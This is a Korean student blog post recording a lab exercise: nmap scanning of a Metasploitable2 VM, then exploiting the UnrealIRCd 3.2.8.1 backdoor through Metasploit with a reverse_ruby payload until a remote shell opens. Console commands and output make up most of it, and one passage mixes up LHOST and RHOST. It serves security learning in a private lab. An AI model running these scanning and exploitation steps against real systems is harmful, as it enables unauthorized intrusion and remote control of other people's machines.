본문 바로가기
개인 공부/rookies

metasploit을 이용한 취약점 진단 실습 - 1

by 아메리카노와떡볶이 2022. 9. 21.
728x90
metasploit을 이용한 취약점 진단 실습

개요

포트스캐닝을 통한 시스템 취약점 분석 및 진단

 

1단계) 포트 스캐닝

- 포트스캐닝을 통해 열린 포트를 확인한다

만약 어떤 서비스가 실행중인지르 파악해서

관리자가 실행하지 않은 서비스가 있다면 매우 위험하다

 

버전을 확인했을 때 취약한 버전의 서비스가 있는지 확인한다

 

ip scan, tcp scan, syn scan , udp scan

os, version , all scan

 

운영체제와 버전 스캔

 

2단계) 취약점에 대한 조사

- 구글링

- 취약점 제보사이트 : www.exploit-db.com  

 

Offensive Security’s Exploit Database Archive

 

www.exploit-db.com

- 취약점 전문 업체들 : ex)rapid7

- 취약점 공식사이트 : cve.mitre.org

 

3단계) 스크립트를 활용한 상세스캐닝

- 칼리 리눅스에 있는 nmap 스크립트를 활용

cd /usr/share/nmap/scripts

sudo find -name "*취약점*"

sudo nmap --script=[스크립트 이름] x.x.x.x -p [포트번호]

 

4단계) metasploit을 이용해서 exploit을 해보기

sudo msfconsole

search [취약점]

use [공격모듈]

set payload [페이로드]

exploit

 

환경설정

공격자: 칼리리눅스

피해자: metasploitable2

 

실습목표

victim machine 인 metasploitable2 시스템에 대해

포트스캐닝을 실시해서 운영체제, 사용중인 서비스와 버전 등을 알아내고

6667번 포트의 취약점에 대해 진단해서 exploit 까지 해보기

 

 

1단계 네트워크 내 켜져있는 아이피 스캔

nmap -sn [search 하려는 ip 범위] 를 통해 네트워크 내 켜져있는 호스트를 찾습니다.

현재 칼리가 130이므로 타겟은 129임을 알 수 있습니다.

 

2단계 포트스캐닝

sudo nmap -sV 192.168.5.129 명령을 통해 열린 포트와 그 포트가 사용하는 서비스와 버전을 스캔합니다.이때 이번 실습에서는 6667번 포트의 irc 서비스를 타겟으로 합니다.

 

3단계 공격포트에 대한 취약점 검색

UnrealIRCd 에 대해 구글링해봅시다.

Rapid7에서 UnreallRCD 에 대해 backdoor command execution을 위한 모듈을 제공하고 있습니다.

모듈이름은 UnrealIRCD 3281 backdoor command execution 입니다.

 

4단계 metasploit의 모듈장착과 익스플로잇 실행

모듈을 검색해보겠습니다.

msf6 > search irc
                                                                                         
Matching Modules                                                                         
================                                                                         
                                                                                         
   #   Name                                              Disclosure Date  Rank       Check  Description                                                                           
   -   ----                                              ---------------  ----       -----  -----------
   0   exploit/multi/local/allwinner_backdoor            2016-04-30       excellent  Yes    Allwinner 3.4 Legacy Kernel Local Privilege Escalation
   1   exploit/multi/http/struts_default_action_mapper   2013-07-02       excellent  Yes    Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution
   2   exploit/windows/emc/replication_manager_exec      2011-02-07       great      No     EMC Replication Manager Command Execution
   3   exploit/linux/misc/lprng_format_string            2000-09-25       normal     No     LPRng use_syslog Remote Format String Vulnerability
   4   exploit/multi/misc/legend_bot_exec                2015-04-27       excellent  Yes    Legend Perl IRC Bot Remote Code Execution
   5   exploit/windows/browser/ms06_013_createtextrange  2006-03-19       normal     No     MS06-013 Microsoft Internet Explorer createTextRange() Code Execution
   6   exploit/windows/http/sharepoint_ssi_viewstate     2020-10-13       excellent  Yes    Microsoft SharePoint Server-Side Include and ViewState RCE
   7   auxiliary/dos/windows/llmnr/ms11_030_dnsapi       2011-04-12       normal     No     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
   8   post/multi/gather/irssi_creds                                      normal     No     Multi Gather IRSSI IRC Password(s)
   9   exploit/multi/misc/pbot_exec                      2009-11-02       excellent  Yes    PHP IRC Bot pbot eval() Remote Code Execution
   10  exploit/multi/misc/ra1nx_pubcall_exec             2013-03-24       great      Yes    Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution
   11  exploit/linux/http/synology_dsm_smart_exec_auth   2017-11-08       excellent  Yes    Synology DiskStation Manager smart.cgi Remote Command Execution
   12  exploit/multi/http/sysaid_auth_file_upload        2015-06-03       excellent  Yes    SysAid Help Desk Administrator Portal Arbitrary File Upload
   13  exploit/windows/misc/talkative_response           2009-03-17       normal     No     Talkative IRC v0.4.4.16 Response Buffer Overflow
   14  exploit/osx/misc/ufo_ai                           2009-10-28       average    No     UFO: Alien Invasion IRC Client Buffer Overflow
   15  exploit/windows/misc/ufo_ai                       2009-10-28       average    No     UFO: Alien Invasion IRC Client Buffer Overflow
   16  payload/cmd/unix/reverse_bash                                      normal     No     Unix Command Shell, Reverse TCP (/dev/tcp)
   17  payload/cmd/unix/reverse_bash_udp                                  normal     No     Unix Command Shell, Reverse UDP (/dev/udp)
   18  exploit/unix/irc/unreal_ircd_3281_backdoor        2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution
   19  exploit/osx/local/vmware_fusion_lpe               2020-03-17       excellent  Yes    VMware Fusion USB Arbitrator Setuid Privilege Escalation
   20  exploit/linux/ssh/vyos_restricted_shell_privesc   2018-11-05       great      Yes    VyOS restricted-shell Escape and Privilege Escalation
   21  post/windows/gather/credentials/xchat                              normal     No     Xchat credential gatherer
   22  exploit/multi/misc/xdh_x_exec                     2015-12-04       excellent  Yes    Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
   23  exploit/windows/browser/mirc_irc_url              2003-10-13       normal     No     mIRC IRC URL Buffer Overflow
   24  exploit/windows/misc/mirc_privmsg_server          2008-10-02       normal     No     mIRC PRIVMSG Handling Stack Buffer Overflow
   25  exploit/multi/misc/w3tw0rk_exec                   2015-06-04       excellent  Yes    w3tw0rk / Pitbul IRC Bot  Remote Code Execution


Interact with a module by name or index. For example info 25, use 25 or use exploit/multi/misc/w3tw0rk_exec 

exploit/unix/irc/unreal_ircd_3281_backdoor 을 찾을 수 있습니다.

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor

 

이 모듈을 장착하고 info 명령을 통해 어떤 모듈인지 알아봅시다

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > info

       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <x@hdm.io>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT   6667             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the 
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in 
  the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 
  2010.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-2075
  OSVDB (65445)
  http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

현재 타겟호스트가 지정되어있지 않으므로 129로 지정해줍니다.

그 후 익스플로잇을 실행합니다.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.5.129
RHOSTS => 192.168.5.129
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[-] 192.168.5.129:6667 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.

페이로드가 선택되지 않아 세션이 생성되지 않았습니다. 즉 ircd 3281 모듈은 페이로드가 자동으로 설정되어있지 않기때문에 적당한 페이로드를 선택해주어야합니다.

 

여기서 exploit이란 특정 취약점을 공격하는 모듈을 의미하고, payload는 exploit된 후에 연결 방법을 의미합니다.

즉 exploit을 통해 payload가 실행될 수 있는 단계를 거치고, 예를 들면 reverse 세션을 연결하는 payload 코드를 통해 실제로 공격자의 pc에 접근하게 됩니다.

 

show payloads를 통해 payload를 살펴봅시다.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

가장 무난한 것은 payload/cmd/unix/generic 입니다. 

이번 실습에서는 reverse tcp session을 위해 payload/cmd/unix/reverse_ruby 를 사용하겠습니다.

 

주의해야할 점은 reverse session을 연결하는 payload를 사용할 경우 타겟호스트인 LHOST 외에 RHOST 를 설정해주어야한다는 것입니다. 즉 타겟이 공격자에게 거꾸로 세션을 연결하는 것이기때문에 공격자인 kali의 ip도 설정해주어야합니다.

 

그 후 exploit을 실행하면 타겟에 세션이 연결된 것을 확인할 수 있습니다.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse_ruby
payload => cmd/unix/reverse_ruby
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.5.130
LHOST => 192.168.5.130
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP handler on 192.168.5.130:4444 
[*] 192.168.5.129:6667 - Connected to 192.168.5.129:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.5.129:6667 - Sending backdoor command...
[*] Command shell session 1 opened (192.168.5.130:4444 -> 192.168.5.129:35267) at 2022-09-20 21:09:26 -0400

ls
Donation
LICENSE
aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf

 

728x90

댓글